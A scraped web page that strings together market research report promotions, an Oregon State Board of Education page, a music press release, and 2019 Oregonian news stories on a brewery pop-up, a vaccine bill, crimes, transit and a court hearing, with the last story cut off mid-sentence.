provides business insights and market research reports to large as well as small & medium enterprises. The company assists its clients to strategize business policies and achieve sustainable growth in their respective market domain.Allied Market Research provides one stop solution from the beginning of data collection to investment advice. The analysts at Allied Market Research dig out factors that help clients to understand the significance and impact of market dynamics. The company amplies clients insight on the factors, such as strategies, future estimations, growth or fall forecasting, opportunity analysis, and consumer surveys among others. As follows, the company offers consistent business intelligent support to aid the clients to turn into prominent business firm.ContactDavid Correa5933 NE Win Sivers Drive#205, Portland, OR 97220United StatesToll Free: +1-800-792-5285UK: +44-845-528-1300Hong Kong: +852-301-84916India (Pune): +91-20-66346060Fax: +1855550-5975help@alliedmarketresearch.comWeb: Furosemide Sales Market 2019 | Global Industry Overview 2025 | Top Companies - Sanofi Aventis, US Pharm Holdings, Mylan, Sandoz, Hospira, Etc. Furosemide Sales Market 2019 https://www.upmarketresearch.com/home/requested_sample/110911 https://www.upmarketresearch.com/home/enquiry_before_buying/110911 https://www.upmarketresearch.com/home/requested_sample/110911 https://www.upmarketresearch.com/home/request_for_discount/110911 www.upmarketresearch.com As per the latest research study published by Up Market Research, Global Furosemide Sales Market is estimated to grow at a healthy CAGR % in the coming years. The research report showcases qualitative and quantitative estimations by the industry analysts. The report documents first-hand data, post verification from the industry experts along with each industry manufacturers by the market valuation. Furosemide Sales Market report also gives an extensive analysis of market share, latest industry trends and forecast data analysis with respect to sales revenue, market growth, and demand and supply scenario.Furthermore, the report also evaluates the key opportunities available in the market and outlines the factors that are and will be driving the expansion of the industry. Growth of the Global Furosemide Sales Market has been forecasted for the time period 2019-2025, taking into consideration the previous sales patterns, the market growth drivers, current and future trends specific to particular regions and globally.Request Free Sample Copy Of this Report @This research study also presents the market competition landscape and a corresponding detailed analysis of the major vendor/manufacturers in the market.The key manufacturers covered in this report: Sanofi Aventis US Pharm Holdings Mylan Sandoz Hospira West-Ward Pharms Ivax Sub Teva Pharms Emcure Pharms Sun Pharm IndsThis report provides the details about the global as well as regional volume, market share, size and gross margin of the competitor companies. It also analyzes noteworthy trends, emerging value of CAGR and present as well as future developments in the industry.Furosemide Sales Market report also provides a realistic valuation of the region specific market and offers a place for key contributors to find potential regional growth opportunities.Region wise analyses of the top producers and consumers, focus on product capacity, production, value, consumption, market share and growth opportunity in below mentioned key regions; North America - U.S., Canada, Mexico Europe - U.K., France, Italy, Germany, Russia, Spain etc. Asia-Pacific - China, Japan, India, Southeast Asia etc. South America - Brazil, Argentina etc. Middle East & Africa - Saudi Arabia, African countries etc.For More Information On This Report, Please Visit @By product type Segmentation: data from 2014 to 2019; and forecast to 2025 Injection Solution TabletBy application Segmentation: data from 2014 to 2019; and forecast to 2025 Hospital Pharmacy ClinicsRequest Free Sample Copy Of this Report @Research objectives and Reason to procure this report: To study and analyze the global consumption (value & volume) by key regions/countries, product type and application, history data from 2014 to 2018, and forecast to 2025. To understand the structure of Furosemide Sales Market by identifying its various subsegments. To better understand the industry leaders/manufacturers, by outlining and analyzing their sales volume, value, market share, market competition landscape, SWOT analysis and development plans in the near future. To receive comprehensive information about the key factors influencing the market growth (opportunities, drivers, industry-specific challenges and risks). To analyze competitive developments such as expansions, agreements, new product launches, and acquisitions, mergers in the market. To strategically outline the key players in the market and extensively analyze their growth strategies.Avail Discount On this Report @All possible factors that can influence the market are already included in this research study and have been accounted for, evaluated in detail, verified through extensive primary/secondary research, and investigated to get the concluding quantitative and qualitative data. The market size for key players and sub-segments is normalized, and the effect of inflation, economic downturns, along with regulatory & policy changes or other factors are accounted for in the market forecast. This data is collated and added with detailed inputs and analysis from Up Market Research and presented in this exclusive report.About UpMarketResearch:The UpMarketResearch () is a leading distributor of market research report with more than 800+ global clients. As a market research company, we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well- defined we want to help our clients envisage their business environment so that they are able to make informed, strategic and therefore successful decisions for themselves.Contact Info:Name: Alex MathewsEmail: Alex@upmarketresearch.comOrganization: UpMarketResearchAddress: 500 East E Street, Ontario, CA 91764, United States. Wireless Battery Monitoring System Sales Market 2019 | World Market Analysis 2025 | Market Leaders Benchmarking, NDSL, Texas Instruments, Powershield, etc. Wireless Battery Monitoring System Sales Market https://www.upmarketresearch.com/home/requested_sample/110832 https://www.upmarketresearch.com/home/enquiry_before_buying/110832 https://www.upmarketresearch.com/home/requested_sample/110832 https://www.upmarketresearch.com/home/request_for_discount/110832 www.upmarketresearch.com Wireless Battery Monitoring System Sales Marketresearch report delivers a close watch on leading competitors with strategic analysis, micro and macro market trend and scenarios, pricing analysis and a holistic overview of the market situations in the forecast period.Get Exclusive FREE Sample Copy Of this Report @UpMarketResearch offers a latest published report on Global Wireless Battery Monitoring System Sales Market Analysis and Forecast 2019 - 2025 delivering key insights and providing a competitive advantage to clients through a detailed report. The report contains 112 pages which highly exhibit on current market analysis scenario, upcoming as well as future opportunities, revenue growth, pricing and profitability.It is a professional and a detailed report focusing on primary and secondary drivers, market share, leading segments and geographical analysis. Further, key players, major collaborations, merger & acquisitions along with trending innovation and business policies are reviewed in the report. The report contains basic, secondary and advanced information pertaining to the Wireless Battery Monitoring System Sales Market global status and trend, market size, share, growth, trends analysis, segment and forecasts from 2019 2025.The scope of the report extends from market scenarios to comparative pricing between major players, cost and profit of the specified market regions. The numerical data is backed up by statistical tools such as SWOT analysis, BCG matrix, SCOT analysis, PESTLE analysis and so on. The statistics are represented in graphical format for a clear understanding on facts and figures.For More Information On This Report, Please VisitThe generated report is firmly based on primary research, interviews with top executives, news sources and information insiders. Secondary research techniques are implemented for better understanding and clarity for data analysis.The report for Wireless Battery Monitoring System Sales Marketanalysis & forecast 2019 - 2025 is segmented into Product Segment, Application Segment & Major players.Region- wise Analysis covers: North America Europe China Japan India Southeast Asia Other regions (Central & South America, Middle East & Africa)The Major players reported in the market include: Benchmarking NDSL Texas Instruments Powershield Batterydaq Canara Eagle Eye HBL Btech SBS Schneider Electric ABB Socomec CurtisProduct Segment Analysis: Lithium-Ion Based Battery Lead-Acid Battery OthersApplication Segment Analysis: Telecommunication Automotive Energy Industries OthersMajor Topics Covered in this Report: Chapter 1 Study Coverage Chapter 2 Executive Summary Chapter 3 Market Size by Manufacturers Chapter 4 Production by Regions Chapter 5 Consumption by Regions Chapter 6 Market Size by Type Chapter 7 Market Size by Application Chapter 8 Manufacturers Profiles Chapter 9 Production Forecasts Chapter 10 Consumption Forecast Chapter 11 Upstream, Industry Chain and Downstream Customers Analysis Chapter 12 Opportunities & Challenges, Threat and Affecting Factors Chapter 13 Key Findings Chapter 14 AppendixGet Exclusive FREE Sample Copy Of this Report @Wireless Battery Monitoring System Sales MarketAnalysis and Forecast 2019 - 2025 report helps the clients to take business decisions and to understand strategies of major players in the industry. The report also calls for market- driven results deriving feasibility studies for client needs. UpMarketResearch ensures qualified and verifiable aspects of market data operating in the real- time scenario. The analytical studies are conducted ensuring client needs with a thorough understanding of market capacities in the real- time scenario.GlobalWireless Battery Monitoring System Sales Market: Key Stakeholders: Manufacturers Distributors/Traders/Wholesalers Subcomponent Manufacturers Industry Association Downstream VendorsIn this study, the years considered to estimate the market size are as follows: History Year: 2013-2018 Base Year: 2018 Estimated Year: 2019 Forecast Year 2019 to 2025Key Reasons to Purchase: To gain insightful analyses of the market and have a comprehensive understanding of the Global Wireless Battery Monitoring System Sales Market Analysis and Forecast 2019 - 2025 and its commercial landscape. Learn about the market strategies that are being adopted by your competitors and leading organizations. To understand the future outlook and prospects for Wireless Battery Monitoring System Sales Market analysis and forecast 2019 - 2025.Avail Discount On this Report @Customization of the Report:UpMarketResearch provides free customization of reports as per your need. This report can be personalized to meet your requirements. Get in touch with our sales team, who will guarantee you to get a report that suits your necessities.You can also ask for region wise Wireless Battery Monitoring System Sales Market research report, as below: Global Market Status & Trend Report 2013- 2025 Top 20 Countries Data North America Market Status and Trend Report 2013- 2025 South America Market Status and Trend Report 2013- 2025 Europe Market Status and Trend Report 2013- 2025 EMEA Market Status and Trend Report 2013- 2025 Asia Pacific Market Status and Trend Report 2013- 2025 China Market Status and Trend Report 2013- 2025 India Market Status and Trend Report 2013- 2025 United States Market Status and Trend Report 2013- 2025About UpMarketResearch:The UpMarketResearch () is a leading distributor of market research report with more than 800+ global clients. As a market research company, we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well- defined we want to help our clients envisage their business environment so that they are able to make informed, strategic and therefore successful decisions for themselves.Contact Info:Name: Alex MathewsEmail: Alex@upmarketresearch.comOrganization: UpMarketResearchAddress: 500 East E Street, Ontario, CA 91764, United States. Norwegian rocker will support Buckcherrys European tour, while promoting his debut Firestorm album. Los Angeles, CA / New York, NY, April 25, 2019 -- Rocky Kramer, who releases Rock Star, the first single from his debut album Firestorm, beginning July 30th, has signed on to open for Los Angeles hard rock band Buckcherry, during their European Fall tour. It is anticipated that Kramer, backed by Alejandro Mercado on drums, Michael The Oregon Legislature created the State Board of Education in 1951 to oversee the states schools. The board sets educational policies and standards for Oregon's 197 public school districts, and 20 educational service districts. All of these agencies have separate governing bodies responsible for transacting business within their jurisdiction. The Oregon State Board of Education is comprised of seven members appointed by the Governor and confirmed by the State Senate. Five members represent Oregons five congressional districts, and two members represent the state at large. Members serve four-year terms and are limited to two consecutive terms. Board members elect their chair each year. The State Board meets at least six times per year and the public is welcome to attend State Board meetings. Mission Provide leadership and vision for Oregons public schools and districts by enacting equitable policies and promoting educational practices that lead directly to the educational and life success of every student. Vision The Oregon State Board of Education will work collaboratively and inclusively with stakeholders to develop and sustain a public education system that empowers every student to reach their full potential. Values EQUITY: We will ensure in words and actions that every student has access to the resources and supports they need to thrive in school. We will explicitly work toward an education system that is culturally responsive, sustaining, eliminates barriers, and is relevant to Oregons diverse communities. INTEGRITY: We will act with honesty and transparency in everything we do. INNOVATION: We will promote creativity, challenge the status quo, and work to improve Oregons education system. EMPOWERMENT: We will value, respect, and listen to multiple perspectives, and empower students, education professionals, families, and community members to take a leading role in ensuring student success. INCLUSION: We will ensure that every student has access to the opportunities and benefits of Oregons education system. EXCELLENCE: We will take actions to ensure the Oregon education system prepares every student for college, career, and life. ADAPTABILITY: We will modify and adopt policies and practices to respond to changing social, demographic, operational, or financial conditions in order to do what is best for students and schools. STUDENT CENTERED: We will ensure that all discussion, decisions, and action are centered on the best interest of every student. If you would like to provide public comment to the State Board of Education or be added to the Public Meeting Notices email list, please contact the State Board Administrator. The Oregon State Standards define what students should know and be able to do within a content area at specific stages in their education. In addition to setting and supporting the educational standards, the goal of the standards and instructional support team is to ensure that every learners strengths are recognized and their skills are developed through the opportunity to receive high-quality instruction, programming and services. Please subscribe to this mailing list if you are a curriculum director and would like to receive updates from Standards & Instructional Support. Standards and Instructional Support Pages Two decades before becoming one of the worlds most acclaimed brewers, Mikkel Borg Bjergso of Denmark had his craft-beer awakening while attending college in the United States. It was at the hands of a Rogue Dead Guy Ale. Now Bjergso is returning the favor to Oregon. His Danish brewery Mikkeller, maker of some of the globes most sought-after craft beers, will take over the former home of Burnside Brewing, opening a pop-up beer bar alongside a pop-up restaurant -- a placeholder while the partnership explores the possibility of a permanent bar, restaurant and Mikkeller brewery at the site. The Copehagen-based Mikkeller is teaming with Portland restaurant group Chefstable to open Mikkeller Portland by June 1 and operate the pop-ups through the end of the year, featuring at least 23 Mikkeller taps alongside a menu of Japanese noodles and rice dishes. The partners will then shut down the pop-ups as they pursue the feasibility of a permanent establishment. Ive always loved Portland and think it is a great city," Bjergso told The Oregonian/OregonLive. "In many respects it reminds me about Copenhagen and Scandinavia -- also mentality wise -- and maybe that is why I feel comfortable there. Kurt Huffman, Chefstable owner and managing partner, said the empty Burnside Brewing space and the vibrant neighborhood appealed to both Bjergso and him. I love the ethos of this, said during an interview with The Oregonian/OregonLive. Its spontaneous, its unusual, and it fits very well with the Mikkeller brand. The brewpub has been sitting idle since Burnside Brewing, at 701 E. Burnside St., closed in early February. Huffman said the group wants to open a permanent Mikkeller brewery and restaurant there, but the regulatory issues are significant and could take several months to sort out. On Friday, Huffman purchased Burnside Brewings assets and wiped out its debt, allowing the new project to proceed. Mikkeller beers are widely considered some of the best in the world, a reputation Bjergso built through innovation and creativity. Originally a homebrewer, he became a phantom brewer -- having no facility of his own but creating innovative beer recipes he employed other breweries to produce for Mikkeller. Bjergso draws inspiration from nontraditional sources -- chefs, coffee roasters or winemakers, for example and the brewerys beers are sought for their use of bold and unexpected ingredients, such as seaweed, licorice or truffles. They have an approach to beer that is very different from what we see normally in Oregon, Huffman said. The flavor profiles are different; theyre daring in different ways than the breweries here are. So, I think their perspective will be a great addition to the greatest beer town in America. Like the beer, the food at the Mikkeller Portland pop-up restaurant will differ from the usual U.S. brewpub fare, Huffman said. Mikkel Borg Bjergso on Portland: Ive always loved Portland and think it is a great city. In many respects it reminds me about Copenhagen and Scandinavia -- also mentality wise -- and maybe that is why I feel comfortable there. (Theis Mortensen, courtesy of Mikkeller) Huffman said he and Bjergso met in person about nine months ago in Portland and discovered the Copenhagen native was interested in bringing Mikkeller to the Rose City. Schedules and the legal complications of starting a foreign brewery led them to opt for pop-ups. Huffman said the furniture will be ripped out of the existing space, replaced by a Mikkeller style beer bar featuring murals and elements found in storage or second-hand shops, and new light fixtures and design. Its truly going to be just a thrown-together space that fits in with the idea of a pop-up, opening as a Mikkeller bar, knowing well close back down in six months, Huffman said. Huffman -- whose Chefstable group partners with chefs to operate Portland area restaurants including Ox, St. Jack, Lardo and Oven & Shaker said distribution issues have been worked out to allow Mikkeller to bring the entire book of every beer they have to Oregon. We will have access even to the specialty and the rare beers from overseas, he said. Throughout the summer its going to be just like a party there. While Huffman has bought the Burnside equipment, he doesnt own the building, and city records show the landlord plans a renovation and expansion at the site. Huffman said he has been told the work wouldnt affect the brewery, but if it does, the collaboration would look for a new home for the brewery and restaurant, if they pursue permanence. Mikkeller operates eight breweries worldwide, including New York City and San Diego. It runs 43 locations around the globe -- bars, restaurants, breweries and bottle shops -- San Francisco and Los Angeles on the West Coast. Additionally, Mikkeller has produced the Oregon Fruit Series, a collection of beers made using Oregon-grown blueberries, strawberries, raspberries and oranges, to name a few. The series is produced in collaboration with Oregon Fruit Products of Salem and its Oregon Specialty Fruit line. Mikkeller says it hopes to continue developing more beers in the series. Burnside Brewing was started in 2010 by Jay Gilbert and Jason McAdam and made a name for itself with signature beers including Burnside IPA, Couch Lager and the spicy Sweet Heat apricot wheat ale, which won gold at the 2012 Great American Beer Festival. But it unexpectedly closed two months ago, the apparent victim of financial distress. A sign appeared on the building in early February saying that the locks were being changed because the tenant hadnt paid rent in months, that the brewery was no longer allowed on the premises, and that the landlord was seizing Burnside Brewings possessions in the building as collateral. No further developments have been made public. The brewery and pub, at East Burnside and Seventh Avenue, have sat empty since. -- Andre Meunier More beer coverage: A bill that several Oregon lawmakers have called the most emotional theyve seen in their careers is headed to the House floor for a full vote. House Bill 3063 would eliminate all exemptions to vaccinations for school-age children, except for medical reasons. Parents who choose not to vaccinate their child would have to enroll them in online or home school. The Joint Ways and Means Committee, which handles budget matters, voted Friday overwhelmingly to send the bill to the House for a full vote. This indicates the bill likely has the votes to pass through the House and Senate. The vote fell largely along party lines, 13-7 in favor, but at least two of the yes votes came from lawmakers who said they intend to vote no later. This is big enough it deserves to be on the floor of the House and floor of the Senate, said Sen. Lee Beyer, D-Springfield. But I will be a no vote on the floor because it moves parental rights too much. Beyer is one of the few Democrats who oppose the bill. Rep. Susan McLain, a Democrat from Hillsboro on the committee, also said shes ultimately against the bill because shes a public school teacher and thinks it unfairly restricts access to education. The Oregon Teachers Association, which lobbies on behalf of public school teachers, supports the bill. Many other school-related organizations have advocated on behalf of eliminating vaccine restrictions, as well. The divide within parties and within professions indicates how pitched the debate around the bill has been. Two Republicans co-sponsored the bill, a nod to the bipartisan nature of the public health crisis. However, most Republicans have been uniformly opposed, especially under the weight of the public opposition. I find it extremely ironic those that are pro-life are now advocating for choice. And those that are pro-choice are advocating for a mandate, said Rep. Greg Smith, R-Umatilla, a co-vice-chair on the Ways and Means Committee, He is still undecided how he will vote on the House floor, even though he thinks people would be crazy but for a medical reason to not immunize their child. Rep. David Gomberg, D-Central Coast, said that just Thursday, he received more than 2,000 emails and phone calls to his office. The vast majority werent from people in his district, though, he said. The ones from outside his district are uniformly in opposition and the ones from people in his district are pretty evenly split, he said. People against mandatory vaccinations have successfully defeated similar bills in the past, often flooding lawmakers offices with calls and letters In opposition and showing up to hearings in force. Both Oregon and Washington have failed to pass legislation that ensures more people are immunized in the Northwest. But now, after 77 people contracted measles in Clark County over the course of four months, there appears to be more political will to tighten rules around vaccination. Washingtons Legislature sent a bill to Gov. Jay Inslee that would require all school-age children to receive the measles, mumps and rubella vaccine to attend school. The governor is expected to sign it. In Oregon, House Bill 3063 has gone farther than any previous effort. Gov. Kate Brown said Thursday shes glad Oregons bill is broader to include all vaccines recommended by the federal government. I will be signing that bill, Brown said. People opposed to the bill have rallied outside the Capitol with recall petitions, but Brown said shes unfazed. I am not going to make everyone happy and I am not going to have everybody like me but my role and goal as governor is to lead this state in a way thats reflective of Oregon values, Brown. Targeting the Bharatiya Janta Party (BJP), national convener of the Aam Aadmi Party (AAP) Arvind Kejriwal said he is ready to support any secular mahagathbandhan after the general election that will support him to stop Prime Minister Narendra Modi and BJP president Amit Shah, duo to come in power again. India is a 4,000-year-old country with a rich tradition and despite diversity, India is one and its tradition has strengthened the country which has given it power to face all kinds of attacks in the past. But today, its unity is being attacked and it is under threat. If the country gets divided on the basis of religion and caste, then it will lose its Centuries old tradition. This election is meant for saving India democracy and protecting Indian constitution, Kejriwal said. Kejriwal also targeted BJP president Amit Shah over his remarks to remove infiltrators except Hindus, Sikhs and Buddhists. This proves that the BJP plans to remove all other religions except these three religions. This mean BJP consider Muslim, Jain, Parsi and Christian infiltrator. And they would expel away all except people of three religions. Is it possible? Around 20 to 25 crore people in the country belongs to these religions then I would ask Amit Shah what would be done to them whether they would be killed or thrown away in pacific ocean or they will be mob lynched? The BJP is fulfilling Pakistans agenda because even Pakistan wants to divide our country, Kejriwal added. We will do everything to stop the Shah-Modi duo. We will support any grand alliance Government. The 2019 election is to save nation, save Constitution. We are Indians first, then Hindu or Muslim, said Kejriwal. He described the BJP manifesto as the one-line manifesto of pushing out infiltrators from the country. Kejriwal also hit out at Congress president Rahul Gandhi after the AAP and the grand old party failed to form an alliance. What kind of alliance is formed on Twitter? I want to ask this question to Rahul Gandhi. If Modi and Shah come in power again, only Rahul Gandhi will be responsible for that, the AAP national convener said. I can say that we tried our best to form an alliance with the Congress. Three seats to the Congress would mean losing all those seats. The Congress will not win in Delhi. If the Congress was in a position to win Delhi then I was ready to leave all seven seats for them, but an alliance of 4:3 with the Congress would be like forming an alliance with the BJP, he added. The Congress is not getting a single Hindu vote while the Muslims are a little confused. The Congress is trying to weaken the Opposition in different States whether it is Kerala, Haryana, Goa, West Bengal or UP, but I hope people from all religions who want to save the country would unite and vote for the AAP, Kejriwal added. Last Tuesday, Sanjay Singh was called by Ghulam Nabi Azad and they had agreed alliance on 18 seats but the next morning we kept waiting, kept calling and in the evening the Congress again changed their conditions in Haryana, Chandigarh and Delhi, he said. The AAP repeatedly had urged the Congress to form an alliance in Delhi, Haryana and Punjab which it said will have ensured that votes against the BJP are not divided. However, the talks between the two parties failed. The AAP fielded its candidates for Lok Sabha elections in Haryana, Punjab, Goa, Chandigarh and national Capital. The party and newly formed Jannayak Janta Dal (JJP) had alliance for general election in Haryana with 7:3 ratio of seat division. A man whose rampage with an ax left four dead near Woodburn had methamphetamine, alcohol and marijuana in his system, according to toxicology results released Thursday by the Oregon Medical Examiners Office. Mark Leo Gago, 42, was fatally shot at the scene by Clackamas County sheriffs deputies. On Jan. 19, Gago killed his mother, Pamela Denise Bremer, 64, his stepfather, Jerry Bremer, 66, his girlfriend, Shaina E. Sweitzer, 31, and their 9-month-old daughter, Olivia Lynn Rose Gago at the familys rural home. Dr. Sean Hurst, acting chief medical examiner, said the amount of alcohol in Gagos system was below the legal limit of intoxication. He said individuals respond differently to meth. That being said, methamphetamine has profound physiological and psychological effects, so I would consider that the individual to be under the influence of that drug at this concentration, Hurst said. Gagos roommate, Tracy Burbank, and an 8-year-old girl survived. Burbank ran next door for help and told a neighbor that Gago had attacked the family with an ax. Gago and the victims shared the home in the 32000 block of South Barlow Road in an area surrounded by farmland near the border with Marion County. A Facebook page appearing to belong to Gago described him as a self-employed, in-home caregiver. One of the victims was found outside the home. Deputies then heard screams coming from the residence, where they found Gago attacking the 8-year-old girl, officials said. After killing him, deputies discovered the other three bodies inside the home. Oregon court records show Gago had two prior assault cases, in 2001 and in 2005, which were dismissed. Police said he had been arrested in August for unlawful possession of a firearm and was booked into the Clackamas County Jail. -- Noelle Crombie 503-276-7184 @noellecrombie Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. A man suspected of hitting a police car and driving away Thursday morning in Vancouver nearly hit two more police vehicles before being apprehended that evening, authorities say. Vancouver police said Jerry Sakkan, 27, was arrested on suspicion of attempting to elude and hit and run charges, as well as several felony warrants. Officers initially contacted a man, since identified as Sakkan, when he was sitting in the drivers seat of a parked Kia SUV about 8:30 a.m. Thursday. He allegedly drove away, hitting a stopped police vehicle. Detectives located his car, a rental, in the area of Northeast Salmon Creek Avenue and 127th Street about 6:15 p.m., according to Vancouver police. Police said he fled in the car, nearly hitting two police vehicles. He eventually got multiple flat tires after hitting a curb, according to police, and tried to flee on foot. He was unsuccessful. Sakkan, a Vancouver resident, is being held in the Clark County Jail. -- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015 Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. TriMet is moving forward with an estimated $200 million light-rail project to extend Red Line trains into Hillsboro and bring more reliable service to and from Portland International Airport. By the end of April, TriMet will apply for funding through the Federal Transit Administration. If approved, the federal government would be expected to contribute $100 million toward the project. The project is one of the most expensive currently being considered by the tri-county transit agency. But its overshadowed by the proposed more than $2.6 billion MAX extension to Bridgeport Village that is TriMets most expensive proposal on the books, and the $175 million high-capacity bus line on Division Street thats been debated for years. TriMet believes the Red Line project is critical for a number of reasons it will bring more east-west service on the Red Line to 10 stations currently served only by Blue Line trains, and it converts tracks in Northeast Portland to make it possible for trains to come and go at the same time. The area between Gateway Transit Center and PDX currently has single tracks. Adding tracks addresses a key vulnerability in the tri-county system as even small delays on the section of Red Line track there can have a ripple effect across the Blue and Green lines. The biggest share of the project costs includes buying eight new light-rail trains ($43.2 million), and changes made at the Gateway Transit Center ($44.5 million). With continuing growth in both housing and jobs in Washington County, the request for more MAX service along the corridor between Hillsboro and Beaverton Transit Center is increasing and the extension would double service in that area most hours of the day, spokesman Tim Becker said in a statement. TriMet is not currently planning on extending the Red Line to the end of the line at Hatfield Government Center in downtown Hillsboro because ridership figures dont indicate theres a need. The extension would bring Red Line trains to remaining stations between the Beaverton Transit Center and Hillsboro Airport. The project coincides with construction at PDX as well. The Port of Portland had previously planned to demolish its Concourse A and make some modifications to Concourse B, and it agreed to move forward with those changes in conjunction with TriMets plan. Concourse A will be demolished in mid-November. Construction on TriMets project is expected to begin in 2021 and finish by 2023. -- Andrew Theen atheen@oregonian.com 503-294-4026 @andrewtheen Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. A 22-year-old Dayton man accused of a murder earlier this year near Mount St. Helens allegedly shot up a motor home in an attempted robbery two days before the killing, then allegedly assaulted his mothers boyfriend with a crowbar the evening after the killing and complained to his mother thats she hadnt let him finish the job, court documents reveal. Damian Bradley Belander is accused of killing Brian Bodle, a Newberg man who was found dead next to a burned-out minivan on a U.S. Forest Service Road near Mount St. Helens on Jan 24. The medical examiner determined Bodle died of blunt-force trauma to the head. When police ran the license plates on the van, they discovered that Yamhill County police were in the process of issuing a warrant for Belander in connection with a shooting and robbery involving the minivan two days earlier. The van was registered to Joshua Lewis of Lafayette, Oregon, the boyfriend of Belanders mother. And Yamhill County deputies also reported that Belander had assaulted Lewis the evening after Bodles killing. Lewis, according to 911 calls and police reports, had been upset due to the death of his own mother, and had threatened both Belander and his mother with a rifle. As part of their investigation, police obtained Facebook messages between Belander and his mother on the night of the Lewis alleged assault. You shouldnt have tried to defend him I needed to finish the job, Belander told his mother in one of the messages, according to court documents. Yamhill County detectives also told Washington detectives they were familiar with Bodle, who was well known in the narcotics community as a dealer and had recently made some transactions which aggravated the buyers, according to the probable cause affidavit filed in Washington. While investigating Bodles death, Skamania police checked to see what other agencies had run his name through a national database. They determined he had been pulled over by Mount Angel police in a recent traffic stop. Police contacted the woman who was with him at the time of the stop, and she told them she knew Bodle and Belander through her ex-boyfriend, who had spent time in prison with both of them. Belander had been convicted of assaulting his pregnant girlfriend in 2015 and assaulting a police officer in 2016, court records show. Bodle was convicted on theft and drug charges in 2016 and 2017. The woman told police that she had called Belander to come to her home and give Bodle a ride and the two left her home in Belanders minivan at 3 a.m. Jan 23. Later that afternoon, Belander sent her a Facebook message saying that Bodle had stolen the van from him. According to the affidavit, Belander later told her he couldnt report the van stolen because he had a gun in it, which, as a convicted felon, he wasnt supposed to have. Belander was arrested by Yamhill County Sherriffs deputies Jan. 31 and booked into the county jail on charges including robbery, kidnapping, reckless endangerment of another person, unlawful use of a firearm, and assault. He was served with an arrest warrant earlier this week on the murder charge in Washington, which has also filed an extradition request with the state of Oregon. Here is how comedian Becky Braunstein describes Becky with the Good Jokes, her monthly showcase at Funhouse Lounge: It is a comedy show with a musical guest and late night show-style video bits and prizes and audience interaction and a confetti finale. Braunstein launched her show in 2017 as part of that years Bridgetown Comedy Festival. At the time she hadnt given a whole lot of thought to creating a show. I got a message from one of the Bridgetown people saying, Hey, you're going to be hosting a show and we need a catchy name that has something to do with you, Braunstein said. Instead of just naming the show after herself, Braunstein decided she wanted to make a show entirely in her image. I thought, I'm all about positivity and good news, and that's kind of how it began, she said. The show is bursting with love. It's all about positivity. Now into its second year as a monthly staple of Portland comedy, Becky with the Good Jokes has sold out Funhouse Lounge on multiple occasions, hosted drop-in sets from local-turned-national comics like Matt Braunger and Ian Karmel, and featured music from the likes of Jenny Conlee. It has also provided a space for local comics who might be tired of the doom and gloom that can prevail in comedy these days. I feel like there's been such a trend of a snarky, sarcastic, sort of deadpan feeling in comedy, which is in response to very depressing real-world events that are very upsetting, Braunstein said. And I thought, what if we did something totally different in the face of all of that? Braunstein, who came to Portland from Eagle River, Alaska, began her comedy career at the Brody Theater open mic. In just five years shes staked her claim to one of the top spots in the local scene. In November 2018 she appeared in an episode of Unprotected Sets, a comedy documentary series for Epix that had Wanda Sykes as an executive producer. Recently Braunstein announced that shes been selected to participate in the Women in Comedy Festival in Boston, where she will perform alongside national headliners Nikki Glaser and Phoebe Robinson. Even though Braunstein is busy with festivals and theater shows, like her upcoming gig opening for Tom Segura when his Take It Down tour stops at the Keller Auditorium May 1 and 2, she always keeps one eye on Becky with the Good Jokes, hoping to make her big and boisterous show even bigger. We went real big from the beginning and we're like, is this too much? Like, is this going to be sustainable? Braunstein said. But we've decided, yes, and I thought, I'm going to, like, put my entire life into this show. Braunstein would love to experiment with taping the show, something akin to The Meltdown with Jonah and Kumail, the stand-up showcase from Comedy Central that was hosted by Jonah Ray and Kumail Nanjiani. But for now, shes satisfied with continuing to put her unique brand of comedy out into the world. I love it so much that I get to do this. Every second I'm onstage, I'm just filled with joy. Becky With the Good Jokes When: Next show, 10 p.m. Saturday, April 27 Where: Funhouse Lounge, 2432 S.E. 11th Ave. Tickets: $8-$12, funhouselounge.com or 503-841-634 Double-murder defendant Jeremy Christian couldnt contain himself as one of the accusers in his case spoke during a hearing Friday. His outburst followed a comment by Demetria Hester, an African American woman who has said Christian threw a Gatorade bottle at her face the day before he fatally stabbed two men on a MAX train. Hester was in court to urge the judge not to postpone Christians aggravated murder trial, scheduled to begin in late June. That delay, requested by defense attorneys this week, could very likely be granted given the potential passage of a capital punishment bill that could make Christian ineligible for the death penalty. As Hester described the MAX attack as a senseless hate crime, Christian interrupted. Manufactured! Christian yelled from his seat on the other side of the courtroom. Hester stopped speaking as all attention turned toward Christian. Uh, you need to be quiet or Ill have you removed from the courtroom, said Multnomah County Circuit Judge Cheryl Albrecht. All right, Christian responded, pointing his finger at Hester. ... I really dont care. Im the victim. Youre on video macing me. Liar. liar. Liar. Christian stood up toward Hester and kept going. Two deputies moved in and grabbed his arms. Christian kept yelling as deputies took out a pair of handcuffs, restrained him and then whisked him out of the courtroom. Manufacturing hate crimes in 2017, Christian said as he left. "Yeah, keep Portland weird. The judge said the hearing would continue without Christian because he had forfeited his right to be there. The hearing was to discuss a request by Christians lawyers for more information about the jury selection process. After Christian was removed from the courtroom, Hester continued reading her written statement, but briefly had to pause to fight off tears. Christians outburst was reminiscent of the early days of his case shortly after his arrest, when he yelled or waved a Dont Tread on Me sign at alleged victims or their families as they sat in the courtroom. But Christian had refrained from making any scenes for the past 1 1/2 years of hearings. During Fridays hearing, the judge said she wouldnt make any rulings on the defense request to postpone the trial. She said shed address that request during a hearing next Friday. Its unclear how long of a postponement Christians lawyers are seeking, but it likely would be long enough for the Oregon Legislature to decide whether to pass Senate Bill 1013. In the bills current form, it appears the death penalty wouldnt apply to Christians case. Uncertainty over passage of the bill could be enough to force the judge to postpone the trial: If the bill passes and the governor signs it into law sometime before June 24, the scheduled start of the five-week trial, lawyers on both sides would likely need more time to revamp their trial strategies. In addition to the bill, Christians lawyers also said in court papers that they need more time to prepare for trial by interviewing witnesses and they want to allow more time for settlement negotiations. Christian, 36, was arrested on allegations of fatally stabbing Ricky Best and Taliesin Namkai-Meche in the neck on a train as it pulled into the Hollywood MAX station on May 26, 2017. A third passenger, Micah Fletcher, was stabbed in the neck but survived. Police and prosecutors say the attack was motivated by bigotry -- that Christian was harassing two black teenage girls by 